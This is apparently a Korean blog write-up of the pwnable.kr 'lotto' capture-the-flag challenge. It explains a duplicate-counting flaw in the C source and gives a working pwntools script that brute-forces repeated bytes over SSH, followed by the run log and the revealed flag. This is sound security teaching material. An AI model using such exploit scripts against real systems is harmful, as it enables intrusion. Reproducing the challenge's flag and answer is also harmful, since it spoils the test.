콘텐츠로 건너뛰기

lotto

Description

Mommy! I made a lotto program for my homework.
do you want to play?


ssh [email protected] -p2222 (pw:guest)

Source Code

  • lotto.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
	
	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);
	
	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		setregid(getegid(), getegid());
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\n");
	}

}

void help(){
	printf("- nLotto Rule -\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
	printf("your goal is to match lotto numbers as many as you can\n");
	printf("if you win lottery for *1st place*, you will get reward\n");
	printf("for more details, follow the link below\n");
	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
	printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\n");
		printf("1. Play Lotto\n");
		printf("2. Help\n");
		printf("3. Exit\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\n");
				return 0;
			default:
				printf("invalid menu\n");
				break;
		}
	}
	return 0;
}

Analysis

// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

lotto 배열 과 submit 배열을 비교해서 6자리 전부 다 맞추도록 설계했어야하는데 2중 for문을 사용허여 모든 조합을 검사하기 때문에, 중복된 숫자가 있을 경우 하나의 번호가 여러 번 매칭되어 실제로는 한 번만 일치해야 할 경우에도 더 많은 점수가 기록된다.

따라서 아래와 같이 lotto 값이 가정되있을때 제출한 배열 값이 중복으로 계속 숫자가 들어가면,
match 값을 6으로 만들 수 있다.

  • lotto : [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ]
  • submit : [ 3 ] [ 3 ] [ 3 ] [ 3 ] [ 3 ] [ 3 ]

Solution

\\x07으로 6번 연속으로 해서 match 값이 6으로 되도록 맞추었다.

from pwn import *

# context.log_level = 'debug'

s = ssh('lotto', 'pwnable.kr', 2222, 'guest')

argvs = ["./lotto"]
p = s.process(executable="./lotto", argv=argvs)


while True: 
    p.sendlineafter(b"3. Exit\n", b"1")

    p.sendlineafter(b"Submit your 6 lotto bytes : ", b"\x07"*6)

    p.recvline()
    res = p.recvline()
    didFail = b"bad luck..." in res
    print(f"res: {res}, didFail: {didFail}")

    if didFail:
        continue
    break

p.close()
s.close()

Result

ubuntu@2d0f4d9a440c:~/pwnable.kr/lotto$ python3 solve.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] [email protected]:
    Distro    Ubuntu 22.04
    OS:       linux
    Arch:     amd64
    Version:  5.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process './lotto' on pwnable.kr: pid 696288
[!] ASLR is disabled for '/home/lotto/lotto'!
res: b'bad luck...\n', didFail: True
res: b'bad luck...\n', didFail: True
res: b'bad luck...\n', didFail: True
res: b'Sorry_mom_1_Forgot_to_check_duplicates\n', didFail: False
[*] Stopped remote process 'lotto' on pwnable.kr (pid 696288)
[*] Closed connection to 'pwnable.kr'
태그: